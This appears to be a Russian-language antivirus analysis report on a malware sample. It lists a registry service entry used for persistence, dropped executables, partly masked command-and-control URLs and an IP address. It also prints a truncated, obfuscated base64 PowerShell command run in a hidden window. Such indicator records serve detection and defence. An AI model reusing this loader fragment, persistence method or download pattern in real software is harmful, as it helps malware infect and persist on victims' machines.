Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\AudioEng] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\AudioEng] 'ImagePath' = '"%WINDIR%\SysWOW64\sqlceoledb30\AudioEng.exe"'
- 'AudioEng' "%WINDIR%\SysWOW64\sqlceoledb30\AudioEng.exe"
- 'AudioEng' %WINDIR%\SysWOW64\sqlceoledb30\AudioEng.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABRADQAdQBoAGYANABxAD0AKAAnAFIAMwAnACsAJwB1AHAAJwArACgAJwBiAHUAJwArACcAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAdABlAG0AUABcAFcAbwBSAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\d3v93m.exe
- %WINDIR%\syswow64\sqlceoledb30\audioeng.exe
- %TEMP%\word\2019\d3v93m.exe в %WINDIR%\syswow64\sqlceoledb30\audioeng.exe
- '10#.#.122.110':80
- http://th#####tumsphere.com/wp-admin/wODL/
- http://10#.#.122.110/xY8Boc3y0ml0r2F/81Fb0lg8Y0/rMrXqyTb/AS1GBw5ueMa/
- DNS ASK th#####tumsphere.com
- '%TEMP%\word\2019\d3v93m.exe'
- '%WINDIR%\syswow64\sqlceoledb30\audioeng.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABRADQAdQBoAGYANABxAD0AKAAnAFIAMwAnACsAJwB1AHAAJwArACgAJwBiAHUAJwArACcAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAdABlAG0AUABcAFcAbwBSAGQAXAAyADAAMQA5AF...' (со скрытым окном)